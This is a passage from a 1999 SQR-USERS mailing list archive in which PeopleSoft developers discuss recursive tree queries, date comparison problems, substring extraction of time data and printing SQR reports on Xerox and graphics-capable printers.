for your input, Jim ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com From owner-sqr-users@list.iex.net Tue Oct 5 08:00:02 1999 Date: Tue, 5 Oct 1999 08:52:21 -0400 From: "Love, Kristin" Subject: Finding Children in a nonbinary tree-- a recursive puzzle? I have been working on this puzzle for a while and would like to throw it open to some larger brains out there.... I am trying to find all the relatives when given a particular unit. I have a table which looks like this: <<...>> Role =0 means the unit is a parent, role 1 means the unit is a child. So, for example, when given unit 171054, I want to know that its ancestors were 176040 ("father") and 162281 ("grandfather"). This I can do successfully with a recursive function: BEGIN-PROCEDURE FindAncestor(#usn,:#oldest) BEGIN-SELECT SerialNo show 'Parent ' $spaces &SerialNo Do FindAncestor(&SerialNo,#temp) move &SerialNo to #oldest FROM tablename m WHERE m.relateid IN ( SELECT relateid FROM tablename WHERE serialno = #usn) AND role=0 AND m.serialno <> #usn END-SELECT END-PROCEDURE FindAncestor But I seem to be having difficulty going down the tree to find descendants. The problem is, that when I have a parent with multiple children, the recursive call only seems to return the set of children, but doesn't take each child and find its children. Perhaps this is not the best approach for finding the children. Does anyone have a fresh idea? Really, I want to print ALL the relatives on the report, grouped by relateid. So the report would look like this: RelateId SerialNo Role 1 162281 0 170640 1 ........................(more data) 6 240277 0 240278 0 243341 1 243342 1 Of course, there would be more info from other tables on this report, like the unit's name, etc. but I know I need at least this much to start..... I initially tried to solve this algorithm with connect by, but, as you see, the unit's parent is not on the table...AND a unit can have multiple parents. :) Kristin From owner-sqr-users@list.iex.net Tue Oct 5 08:13:51 1999 Date: Tue, 5 Oct 1999 09:12:20 -0400 From: "Fay, Brannon" Subject: Re: Finding Children in a nonbinary tree-- a recursive puzzle? If you are using Oracle, look at using START WITH and CONNECT BY PRIOR. I've used it in the past for this type of hierarchical query, but I don't understand it well enough to give advice on it. It should give you what you need though. Brannon Fay -----Original Message----- From: Love, Kristin [mailto:klove@MSA.COM] Sent: Tuesday, October 05, 1999 8:52 AM To: Multiple recipients of list SQR-USERS Subject: Finding Children in a nonbinary tree-- a recursive puzzle? I have been working on this puzzle for a while and would like to throw it open to some larger brains out there.... I am trying to find all the relatives when given a particular unit. I have a table which looks like this: <<...>> Role =0 means the unit is a parent, role 1 means the unit is a child. So, for example, when given unit 171054, I want to know that its ancestors were 176040 ("father") and 162281 ("grandfather"). This I can do successfully with a recursive function: BEGIN-PROCEDURE FindAncestor(#usn,:#oldest) BEGIN-SELECT SerialNo show 'Parent ' $spaces &SerialNo Do FindAncestor(&SerialNo,#temp) move &SerialNo to #oldest FROM tablename m WHERE m.relateid IN ( SELECT relateid FROM tablename WHERE serialno = #usn) AND role=0 AND m.serialno <> #usn END-SELECT END-PROCEDURE FindAncestor But I seem to be having difficulty going down the tree to find descendants. The problem is, that when I have a parent with multiple children, the recursive call only seems to return the set of children, but doesn't take each child and find its children. Perhaps this is not the best approach for finding the children. Does anyone have a fresh idea? Really, I want to print ALL the relatives on the report, grouped by relateid. So the report would look like this: RelateId SerialNo Role 1 162281 0 170640 1 ........................(more data) 6 240277 0 240278 0 243341 1 243342 1 Of course, there would be more info from other tables on this report, like the unit's name, etc. but I know I need at least this much to start..... I initially tried to solve this algorithm with connect by, but, as you see, the unit's parent is not on the table...AND a unit can have multiple parents. :) Kristin From owner-sqr-users@list.iex.net Tue Oct 5 08:19:40 1999 Date: Tue, 5 Oct 1999 09:14:18 -0400 From: Sam Spritzer Subject: Re: Finding Children in a nonbinary tree-- a recursive puzzle? Kristin... I am biting my tongue on this one and haven't tried it yet but would it be possible to pass the 'child and find its children' into your WHERE clause? Sam <<< "Love, Kristin" 10/ 5 8:52a >>> I have been working on this puzzle for a while and would like to throw it open to some larger brains out there.... I am trying to find all the relatives when given a particular unit. I have a table which looks like this: <<...>> Role =0 means the unit is a parent, role 1 means the unit is a child. So, for example, when given unit 171054, I want to know that its ancestors were 176040 ("father") and 162281 ("grandfather"). This I can do successfully with a recursive function: BEGIN-PROCEDURE FindAncestor(#usn,:#oldest) BEGIN-SELECT SerialNo show 'Parent ' $spaces &SerialNo Do FindAncestor(&SerialNo,#temp) move &SerialNo to #oldest FROM tablename m WHERE m.relateid IN ( SELECT relateid FROM tablename WHERE serialno = #usn) AND role=0 AND m.serialno <> #usn END-SELECT END-PROCEDURE FindAncestor But I seem to be having difficulty going down the tree to find descendants. The problem is, that when I have a parent with multiple children, the recursive call only seems to return the set of children, but doesn't take each child and find its children. Perhaps this is not the best approach for finding the children. Does anyone have a fresh idea? Really, I want to print ALL the relatives on the report, grouped by relateid. So the report would look like this: RelateId SerialNo Role 1 162281 0 170640 1 ........................(more data) 6 240277 0 240278 0 243341 1 243342 1 Of course, there would be more info from other tables on this report, like the unit's name, etc. but I know I need at least this much to start..... I initially tried to solve this algorithm with connect by, but, as you see, the unit's parent is not on the table...AND a unit can have multiple parents. :) Kristin From owner-sqr-users@list.iex.net Tue Oct 5 09:49:14 1999 Date: Tue, 5 Oct 1999 10:36:20 -0400 From: "Bencke, Gina" Subject: Using Xerox DocuPrint 4890 NPS Printer Does anyone have experience implementing SQR reports using the Xerox DocuPrint 4890 NPS Printer? If so I would like to discuss implementation options. Thanks. Gina Bencke From owner-sqr-users@list.iex.net Tue Oct 5 10:11:55 1999 Date: Tue, 5 Oct 1999 11:11:47 -0400 From: Tony DeLia Subject: Re: Finding Children in a nonbinary tree-- a recursive puzzle? Hi Kristin, I posted something similar on my website... http://www.sqrtools.com (OR http://www.sqrtools.com/tdsvc.htm for direct access to the page) In my example I establish the "tree" hierarchy using the EMPLID->SUPERVISOR_ID relationship found in the EMPLOYMENT table in HR... Here's a sample of the output (HR Demo data)... 8001 - Schumacher,Simon 8102 - Sullivan,Theresa 8406 - Davis,William D. 8517 - Holden,Peter 8664 - Carroll,Brucest 8668 - O'Brien,Michael 8730 - Smithers,Jasmine 8761 - Vallero,Joaquin G010 - Masters,Jason 8409 - Westlund,Julie 8516 - Akers,Danielle 8317 - Norton,Terry 8421 - Jaegar,Annette 8832 - Tanner,Doris ...etc.... The high-level id '8001' was entered and all the sub-ordinate or 'child' rows were produced in tree format... No 'true' recursive procedures were required to accomplish this... This could be easily modified for your purposes... your relationships are a little different but can be accounted for in the first portion of the program (Process-Phase1)... Hope this helps, Tony DeLia PS - I expanded this procedure last week (not on website) to produce a Tree Structure (pstreestrct, pstreedefn, pstreenode, etc...) for use by an external Lotus Notes application for security... it allows Supervisors to access Salary Planning panels for all subordinates... the tree structure can be refreshed any time due to a change in Supervisors... works great! Love, Kristin wrote: > > I have been working on this puzzle for a while and would like to throw it > open to some larger brains out there.... > > I am trying to find all the relatives when given a particular unit. > > I have a table which looks like this: > <<...>> > > Role =0 means the unit is a parent, role 1 means the unit is a child. So, > for example, when given unit 171054, I want to know that its ancestors were > 176040 ("father") and 162281 ("grandfather"). This I can do successfully > with a recursive function: > BEGIN-PROCEDURE FindAncestor(#usn,:#oldest) > BEGIN-SELECT > SerialNo > show 'Parent ' $spaces &SerialNo > Do FindAncestor(&SerialNo,#temp) > move &SerialNo to #oldest > FROM tablename m > WHERE m.relateid IN ( SELECT relateid > FROM tablename > WHERE serialno = #usn) > AND role=0 > AND m.serialno <> #usn > END-SELECT > > END-PROCEDURE FindAncestor > > But I seem to be having difficulty going down the tree to find descendants. > The problem is, that when I have a parent with multiple children, the > recursive call only seems to return the set of children, but doesn't take > each child and find its children. > > Perhaps this is not the best approach for finding the children. Does anyone > have a fresh idea? > > Really, I want to print ALL the relatives on the report, grouped by > relateid. So the report would look like this: > > RelateId SerialNo Role > 1 162281 0 > 170640 1 > ........................(more data) > 6 240277 0 > 240278 0 > 243341 1 > 243342 1 > > Of course, there would be more info from other tables on this report, like > the unit's name, etc. but I know I need at least this much to start..... > > I initially tried to solve this algorithm with connect by, but, as you see, > the unit's parent is not on the table...AND a unit can have multiple > parents. > :) Kristin -- Tony DeLia AnswerThink Consulting Group PeopleSoft Solutions Practice - Delphi Partners tdelia@erols.com http://www.sqrtools.com From owner-sqr-users@list.iex.net Tue Oct 5 10:24:04 1999 Date: Tue, 5 Oct 1999 08:17:23 -0700 From: Deb Maynard Subject: Finding minumums Hello, I am new to the SQR arena and I am pretty lost. I can do your basic selects and data manipulation, but I've just been assigned to a report modification that may be a little out of my league, so any and all help would be extremely appreciated. The client I'm working for has captured time data from one system and interfaced it into a 'comments' field in a PeopleSoft table. A typical row looks something like this: 800-1500--TRC: REG--HRS: 7 (start time, end time, time reporting code, number of hours). What I need to do is capture the start and end times and print them on the report. I have almost successfully done this using substrings (it gets tricky because some start times are 3 digits, some 4). The problem is, sometimes an employee has multiple rows, one containing the actual start time (the minimum of all of the start times) and another containing the actual end time (the maximum of all of the end times). Is there a way I can evaluate the substring variable and only select and print the one I need? I assume there is, but it definitely wasn't covered in my SQR class! I hope my explanation was clear. Please offer any help you can! Thanks. Deb From owner-sqr-users@list.iex.net Tue Oct 5 10:44:05 1999 Date: Tue, 5 Oct 1999 11:39:41 -0400 From: Vivek Pandian Subject: Re: Finding minumums There are two simple solutions. 1. From the Main Employee Select call two procedures which returns min and max time like select subtr(to_char(min(time))) from ps_tablename where emplid = &emplid and ... 2. Use an array and store all times for an employee and do a break on emplid and do the arthmetics on the array and get the value you want and print it. Hope this helps Regards Vivek At 11:17 AM 10/5/99 , you wrote: >Hello, > >I am new to the SQR arena and I am pretty lost. I can do your basic selects and >data manipulation, but I've just been assigned to a report modification that may >be a little out of my league, so any and all help would be extremely >appreciated. The client I'm working for has captured time data from one system >and interfaced it into a 'comments' field in a PeopleSoft table. A typical row >looks something like this: 800-1500--TRC: REG--HRS: 7 (start time, end time, >time reporting code, number of hours). What I need to do is capture the start >and end times and print them on the report. I have almost successfully done this >using substrings (it gets tricky because some start times are 3 digits, some 4). >The problem is, sometimes an employee has multiple rows, one containing the >actual start time (the minimum of all of the start times) and another containing >the actual end time (the maximum of all of the end times). Is there a way I can >evaluate the substring variable and only select and print the one I need? I >assume there is, but it definitely wasn't covered in my SQR class! > >I hope my explanation was clear. Please offer any help you can! Thanks. > >Deb > From owner-sqr-users@list.iex.net Tue Oct 5 10:48:33 1999 Date: Tue, 5 Oct 1999 11:45:57 -0400 From: Tony DeLia Subject: Re: Using Xerox DocuPrint 4890 NPS Printer Gina, I've worked in the past with the Xerox 'intelligent' printers that require JDT files (Job Description Tickets) and embedded print control commands... STARTLM, SETJDT, etc... I don't recall the exact printer model... You can include custom codes for each line of data that is passed to the print server... the codes are defined on the server with the position of the data in the file along with the mapping on the form (data placement)... You create a from image (using PowerPoint, for example) and the from data (from the file) is placed on top of the image in the appropriate locations... Is this what you mean? If so e-mail and I'll try to dig up what I can (this was a while ago)... Tony DeLia PS - I used this to create custom statements in PS A/R 7.5 (Beginning/Ending balances, Aging, Detailed item activity in period, discount summary, Correspondence Customer Roll-ups, etc... Bencke, Gina wrote: > > Does anyone have experience implementing SQR reports using the Xerox > DocuPrint 4890 NPS Printer? If so I would like to discuss > implementation options. > > Thanks. > > Gina Bencke -- Tony DeLia AnswerThink Consulting Group PeopleSoft Solutions Practice - Delphi Partners tdelia@erols.com http://www.sqrtools.com From owner-sqr-users@list.iex.net Tue Oct 5 12:00:53 1999 Date: Tue, 5 Oct 1999 12:48:18 -0400 From: "Bencke, Gina" Subject: Re: Using Xerox DocuPrint 4890 NPS Printer Tony, It's nice to hear from you again! Yes we will be using JDT. Our hope is that we can set up either JDT files that essentially match the PeopleSoft setup01 and setup02 declare-printer/declare-layout and then use the printer-init string to specify the appropriate JDT to use when printing, or set up print queues that will use the appropriate JDT. Does this sound like a viable approach? Gina -----Original Message----- From: Tony DeLia [mailto:tdelia@EROLS.COM] Sent: Tuesday, October 05, 1999 11:46 AM To: Multiple recipients of list SQR-USERS Subject: Re: Using Xerox DocuPrint 4890 NPS Printer Gina, I've worked in the past with the Xerox 'intelligent' printers that require JDT files (Job Description Tickets) and embedded print control commands... STARTLM, SETJDT, etc... I don't recall the exact printer model... You can include custom codes for each line of data that is passed to the print server... the codes are defined on the server with the position of the data in the file along with the mapping on the form (data placement)... You create a from image (using PowerPoint, for example) and the from data (from the file) is placed on top of the image in the appropriate locations... Is this what you mean? If so e-mail and I'll try to dig up what I can (this was a while ago)... Tony DeLia PS - I used this to create custom statements in PS A/R 7.5 (Beginning/Ending balances, Aging, Detailed item activity in period, discount summary, Correspondence Customer Roll-ups, etc... Bencke, Gina wrote: > > Does anyone have experience implementing SQR reports using the Xerox > DocuPrint 4890 NPS Printer? If so I would like to discuss > implementation options. > > Thanks. > > Gina Bencke -- Tony DeLia AnswerThink Consulting Group PeopleSoft Solutions Practice - Delphi Partners tdelia@erols.com http://www.sqrtools.com From owner-sqr-users@list.iex.net Tue Oct 5 12:00:52 1999 Date: Tue, 5 Oct 1999 11:53:50 -0500 From: itzgee Subject: Re: Finding minumums Firstly: You do not have an sqr problem, you have a data entry and interface design problem. Having said that, my next question is: Are each of the segments in the comments field the same size? 800-1500--TRC: REG--HRS: 7 in other words, can you always assume that the first four digits are the start time? Can you assume that all of the comments are time related? If so, try this : select substr(comments, (length(comments)- 22), 4) as final_end_time what this does is takes a substring from an absolute position in the substring. If you have more than just time comments -- and you probably do -- you're in for some real coding fun. Here is what I would do : get the length of the comments. create a loop and start at the end of the comments move length(comments) to #len_var move 0 to #found while #found = 0 let #len_var = #len_var -20 #found = instr(&comments, '--TRC', #len_var) if #len_var < 0 move -1 to #found end-if end-while At this point, if #found is negative, it didn't work. If #found is positive, then it is the location of the last digit of time. ltrim ((rtrim(( substr(&comments, #found-4, 4)), '-')), '-') should give you the last checkout time. From owner-sqr-users@list.iex.net Tue Oct 5 12:03:57 1999 Date: Tue, 5 Oct 1999 12:55:43 -0400 From: Michael Nerren Subject: REMOVE MICHAEL_NERREN@PEOPLESOFT.COM MICHAEL_NERREN@PEOPLESOFT.COM remove from list From owner-sqr-users@list.iex.net Tue Oct 5 15:09:56 1999 Date: Tue, 5 Oct 1999 14:59:25 -0500 From: Kenny Melton Subject: Date Variables Hello Everyone, I am using SQR 4.3.4 and am having a strange problem (or a severe brain burp). Can anyone tell me why the following works the way it does?: BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP BEGIN-PROCEDURE COMPARE-DATES LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE The log file output looks like this: MAX DATE = 01-SEP-1999 MIN DATE = 31-AUG-1999 MAXDATE = MINDATE I'm kind of stumped on this one. I think it has something to do with the internal "string" representation of the date variables, but all my juggling with the SQR.INI file settings didn't have any impact. I have also tried it with the "MOVE" command in place of the "LET" command above and, again, no difference. Oh, one more thing -- this happens consistently when one of the dates is an end-of-month date, and the other date is the following first-of-month date. OK Gurus, what am I missing? Thanks in advance, Kenny Melton Sr. Technical Architect Tandy Information Services PeopleSoft Financial Systems kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 15:17:09 1999 Date: Tue, 5 Oct 1999 16:01:45 -0400 From: "Love, Kristin" Subject: Re: Finding Children in a nonbinary tree-- a recursive puzzle? Thanks, Tony!!!!!!!!!!!!! Your tree algorithm showed me how to solve the puzzle in an iterative fashion. Here it is (names are changed to protect the innocent............) !*************************************************************************** * ! ! PROCEDURE MAIN: ! !*************************************************************************** * BEGIN-PROCEDURE MAIN move 240278 to #serialno !171054 show 'Original ' #serialno edit {serialnoedit} DO FindAncestorA ! You have to start at the top of the tree to get all the children show 'ancestor is ' #oldest edit {serialnoedit} let #relative_max= {max_relative}-1 move 0 to #thisrow move 0 to #counter ! Set up first row of the array move 0 to #relative_start put #relative_start #oldest into relative (0) parent child ! First row reads: parent:0 child:192071(or whatever number you entered) do FillUpArray End-Procedure MAIN !*************************************************************************** * ! ! PROCEDURE FillUpArray: Fills array with parents and children ! Parameters: none ! !*************************************************************************** * BEGIN-PROCEDURE FillUpArray WHILE #thisrow <= #counter and #thisrow < {max_relative} let #lastchild = relative.child(#thisrow) do populate-array add 1 to #thisrow !If populate-array fails, #thisrow will become > #counter END-WHILE END-PROCEDURE FillUpArray !*************************************************************************** * ! ! PROCEDURE Populate-Array: !*************************************************************************** * BEGIN-PROCEDURE Populate-Array BEGIN-SELECT serialno add 1 to #counter if #counter > {max_relative} -1 exit-select end-if let relative.parent(#counter)=#lastchild let relative.child(#counter)=&serialno FROM thetable m WHERE m.relateid IN ( SELECT relateid FROM thetable WHERE serialno = #lastchild AND code=0) !only relations where #lastchild is parent AND code=1 !1=child, 0=parent AND m.serialno <> #lastchild ORDER BY serialno END-SELECT END-PROCEDURE Populate-Array !*************************************************************************** * ! ! PROCEDURE PrintResults ! !*************************************************************************** * BEGIN-PROCEDURE PrintResults move 1 to #I !The first element of the array shows the oldest ancestor WHILE #I <= #thisrow - 1 ! When you added 1 to #thisrow, it stopped the loop let $parent= relative.parent(#I) let $child=relative.child(#i) show #I edit 9999 ' Parent:' $parent edit {serialnoedit} ' child ' $child edit {serialnoedit} add 1 to #I END-WHILE END-PROCEDURE PrintResults The key to your program was the WHILE loop.......I would have never thought of that. :) Kristin > -----Original Message----- > From: Tony DeLia [SMTP:tdelia@EROLS.COM] > Sent: Tuesday, October 05, 1999 11:12 AM > To: Multiple recipients of list SQR-USERS > Subject: Re: Finding Children in a nonbinary tree-- a recursive > puzzle? > > Hi Kristin, > I posted something similar on my website... http://www.sqrtools.com > (OR http://www.sqrtools.com/tdsvc.htm for direct access to the page) > > From owner-sqr-users@list.iex.net Tue Oct 5 15:12:34 1999 Date: Tue, 5 Oct 1999 16:01:53 -0400 From: Paresh Patel Subject: .SPF printing I recently came across several reports which require the use of the graphic statement (horz-line, vert-line, box) in the SQR. From what I understand, the only way to display/print these "graphics" on the reports is to generate a .spf file. I tried using SQR Viewer and SQR Print to print the .spf file, but the report does not print properly. If anyone can assist me in any manner, I'd appreciate it. Thanks. Paresh Patel Software Engineer Bell Atlantic NSI From owner-sqr-users@list.iex.net Tue Oct 5 15:19:33 1999 Date: Tue, 5 Oct 1999 13:12:13 -0700 From: Reinier de Ruiter Subject: Re: Date Variables Use strtodate for your assignment: LET $MAXDATE = strtodate('01-SEP-1999','DD-MON-YYYY') LET $MINDATE = strtodate('31-AUG-1999','DD-MON-YYYY') Reinier de Ruiter Programmer/Analyst Apollo Group, University of Phoenix Phoenix, Arizona tel:480-557-1158 email: reinier.deruiter@apollogrp.edu -----Original Message----- From: Kenny Melton [mailto:KMELTO1@TANDY.COM] Sent: Tuesday, October 05, 1999 12:59 PM To: Multiple recipients of list SQR-USERS Subject: Date Variables Hello Everyone, I am using SQR 4.3.4 and am having a strange problem (or a severe brain burp). Can anyone tell me why the following works the way it does?: BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP BEGIN-PROCEDURE COMPARE-DATES LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE The log file output looks like this: MAX DATE = 01-SEP-1999 MIN DATE = 31-AUG-1999 MAXDATE = MINDATE I'm kind of stumped on this one. I think it has something to do with the internal "string" representation of the date variables, but all my juggling with the SQR.INI file settings didn't have any impact. I have also tried it with the "MOVE" command in place of the "LET" command above and, again, no difference. Oh, one more thing -- this happens consistently when one of the dates is an end-of-month date, and the other date is the following first-of-month date. OK Gurus, what am I missing? Thanks in advance, Kenny Melton Sr. Technical Architect Tandy Information Services PeopleSoft Financial Systems kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 15:27:30 1999 Date: Tue, 5 Oct 1999 16:17:18 -0400 From: Rick Creel Subject: Re: Date Variables I dont know why it works that way... using the relational operators like that. I use the DATEDIFF function to compare dates, and it works quite well. Kenny Melton on 10/05/99 03:59:25 PM Please respond to SQR-USERS@list.iex.net To: Multiple recipients of list SQR-USERS cc: (bcc: Rick Creel/IT/Aon Consulting) Subject: Date Variables Hello Everyone, I am using SQR 4.3.4 and am having a strange problem (or a severe brain burp). Can anyone tell me why the following works the way it does?: BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP BEGIN-PROCEDURE COMPARE-DATES LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE The log file output looks like this: MAX DATE = 01-SEP-1999 MIN DATE = 31-AUG-1999 MAXDATE = MINDATE I'm kind of stumped on this one. I think it has something to do with the internal "string" representation of the date variables, but all my juggling with the SQR.INI file settings didn't have any impact. I have also tried it with the "MOVE" command in place of the "LET" command above and, again, no difference. Oh, one more thing -- this happens consistently when one of the dates is an end-of-month date, and the other date is the following first-of-month date. OK Gurus, what am I missing? Thanks in advance, Kenny Melton Sr. Technical Architect Tandy Information Services PeopleSoft Financial Systems kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 15:30:02 1999 Date: Tue, 5 Oct 1999 16:20:12 -0400 From: "Love, Kristin" Subject: Re: Date Variables The date stored is actually dd-mon-yyyy hh24:mi:ss That is, it is a date and a time together. So perhaps when you are storing it, it is storing a midnight value???? :) Kristin > -----Original Message----- > From: Kenny Melton [SMTP:KMELTO1@TANDY.COM] > Sent: Tuesday, October 05, 1999 3:59 PM > To: Multiple recipients of list SQR-USERS > Subject: Date Variables > > Hello Everyone, > > I am using SQR 4.3.4 and am having a strange problem (or a severe brain > burp). Can anyone tell me why the following works the way it does?: > > BEGIN-SETUP > DECLARE-VARIABLE > DATE $MINDATE > DATE $MAXDATE > END-DECLARE > END-SETUP > > BEGIN-PROCEDURE COMPARE-DATES > LET $MAXDATE = '01-SEP-1999' > LET $MINDATE = '31-AUG-1999' > > SHOW 'MAX DATE = ' $MAXDATE > SHOW 'MIN DATE = ' $MINDATE > > IF $MAXDATE = $MINDATE > SHOW 'MAXDATE = MINDATE' > END-IF > > IF $MAXDATE <> $MINDATE > SHOW 'MAXDATE <> MINDATE' > END-IF > > IF $MAXDATE > $MINDATE > SHOW 'MAXDATE > MINDATE' > END-IF > > IF $MAXDATE < $MINDATE > SHOW 'MAXDATE < MINDATE' > END-IF > > END-PROCEDURE > > The log file output looks like this: > > MAX DATE = 01-SEP-1999 > MIN DATE = 31-AUG-1999 > MAXDATE = MINDATE > > I'm kind of stumped on this one. I think it has something to do with the > internal "string" representation of the date variables, but all my > juggling > with the SQR.INI file settings didn't have any impact. I have also tried > it > with the "MOVE" command in place of the "LET" command above and, again, no > difference. Oh, one more thing -- this happens consistently when one of > the > dates is an end-of-month date, and the other date is the following > first-of-month date. OK Gurus, what am I missing? > > Thanks in advance, > Kenny Melton > Sr. Technical Architect > Tandy Information Services > PeopleSoft Financial Systems > kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 15:23:31 1999 Date: Tue, 5 Oct 1999 16:20:32 -0400 From: "Fay, Brannon" Subject: Re: Date Variables Kenny You either want to use strtodate, i.e. LET $MAXDATE = strtodate( '01-SEP-1999', 'DD-MON-YYYY' ) or change the default date format via: ALTER-LOCALE DATE-EDIT-MASK = 'DD-MON-YYYY' I'm not quite sure if that latter will work or not but the strtodate will. HTH, Brannon Fay -----Original Message----- From: Kenny Melton [mailto:KMELTO1@TANDY.COM] Sent: Tuesday, October 05, 1999 3:59 PM To: Multiple recipients of list SQR-USERS Subject: Date Variables Hello Everyone, I am using SQR 4.3.4 and am having a strange problem (or a severe brain burp). Can anyone tell me why the following works the way it does?: BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP BEGIN-PROCEDURE COMPARE-DATES LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE The log file output looks like this: MAX DATE = 01-SEP-1999 MIN DATE = 31-AUG-1999 MAXDATE = MINDATE I'm kind of stumped on this one. I think it has something to do with the internal "string" representation of the date variables, but all my juggling with the SQR.INI file settings didn't have any impact. I have also tried it with the "MOVE" command in place of the "LET" command above and, again, no difference. Oh, one more thing -- this happens consistently when one of the dates is an end-of-month date, and the other date is the following first-of-month date. OK Gurus, what am I missing? Thanks in advance, Kenny Melton Sr. Technical Architect Tandy Information Services PeopleSoft Financial Systems kmelto1@tandy.com From owner-sqr-users@list.iex.net Tue Oct 5 15:34:13 1999 Date: Tue, 5 Oct 1999 16:24:34 -0400 From: "Love, Kristin" Subject: Re: .SPF printing You wrote: From what I understand, the only way to display/print these "graphics" on the reports is to generate a .spf file. Not true. When you create a .lis file, the graphics look like a bunch of weird numbers. But when you send it to the printer (dos command copy filename.lis>lpt2 for example) the graphics come out. 1) Make sure you declare the printer 2) I found that if I tried to say "print" before I used a graphic command, for some reason my graphics wouldn't work (SQR 3.5) I only vaguely remember this, as it was last year..... :) Kristin From owner-sqr-users@list.iex.net Tue Oct 5 15:40:35 1999 Date: Tue, 5 Oct 1999 20:26:42 GMT From: eddy vasile Subject: Re: Date Variables Couple of things: 1) I assume the database is Oracle > 7.XX because of the date format (dd-mon-yyyy). Otherwise, you need to play with the date mask. 2) The procedure is local (otherwise global variables have to be $_maxdate, $mindate ------------- If these assumptions are correct, the program should work fine. Here's an adaptation that covers all possiblities and produces the correct output ASSUMING YOU ARE WORKING WITH ORACLE! (AND YOU RUN WITH / -XL) BEGIN-SETUP DECLARE-VARIABLE DATE $MINDATE DATE $MAXDATE END-DECLARE END-SETUP begin-program do compare-dates0 end-program BEGIN-PROCEDURE COMPARE-DATES0 LET $MAXDATE = '01-SEP-1999' LET $MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $MAXDATE SHOW 'MIN DATE = ' $MINDATE IF $MAXDATE = $MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $MAXDATE <> $MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $MAXDATE > $MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $MAXDATE < $MINDATE SHOW 'MAXDATE < MINDATE' END-IF do compare-dates1 END-PROCEDURE BEGIN-PROCEDURE COMPARE-DATES1 LET $_MAXDATE = '01-SEP-1999' LET $_MINDATE = '31-AUG-1999' SHOW 'MAX DATE = ' $_MAXDATE SHOW 'MIN DATE = ' $_MINDATE IF $_MAXDATE = $_MINDATE SHOW 'MAXDATE = MINDATE' END-IF IF $_MAXDATE <> $_MINDATE SHOW 'MAXDATE <> MINDATE' END-IF IF $_MAXDATE > $_MINDATE SHOW 'MAXDATE > MINDATE' END-IF IF $_MAXDATE < $_MINDATE SHOW 'MAXDATE < MINDATE' END-IF END-PROCEDURE >From: Kenny Melton >Reply-To: SQR-USERS@list.iex.net >To: Multiple recipients of list SQR-USERS >Subject: Date Variables >Date: Tue, 5 Oct 1999 14:59:25 -0500 > >Hello Everyone, > >I am using SQR 4.3.4 and am having a strange problem (or a severe brain >burp). Can anyone tell me why the following works the way it does?: > >BEGIN-SETUP > DECLARE-VARIABLE > DATE $MINDATE > DATE $MAXDATE > END-DECLARE >END-SETUP > >BEGIN-PROCEDURE COMPARE-DATES > LET $MAXDATE = '01-SEP-1999' > LET $MINDATE = '31-AUG-1999' > > SHOW 'MAX DATE = ' $MAXDATE > SHOW 'MIN DATE = ' $MINDATE > > IF $MAXDATE = $MINDATE > SHOW 'MAXDATE = MINDATE' > END-IF > > IF $MAXDATE <> $MINDATE > SHOW 'MAXDATE <> MINDATE' > END-IF > > IF $MAXDATE > $MINDATE > SHOW 'MAXDATE > MINDATE' > END-IF > > IF $MAXDATE < $MINDATE > SHOW 'MAXDATE < MINDATE' > END-IF > >END-PROCEDURE > >The log file output looks like this: > >MAX DATE = 01-SEP-1999 >MIN DATE = 31-AUG-1999 >MAXDATE = MINDATE > >I'm kind of stumped on this one. I think it has something to do with the >internal "string" representation of the date variables, but all my juggling >with the SQR.INI file settings didn't have any impact. I have also tried >it >with the "MOVE" command in place of the "LET" command above and, again, no >difference. Oh, one more thing -- this happens consistently when one of >the >dates is an end-of-month date, and the other date is the following >first-of-month date. OK Gurus, what am I missing? > >Thanks in advance, >Kenny Melton >Sr. Technical Architect >Tandy Information Services >PeopleSoft Financial Systems >kmelto1@tandy.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-sqr-users@list.iex.net Tue Oct 5 15:45:31 1999 Date: 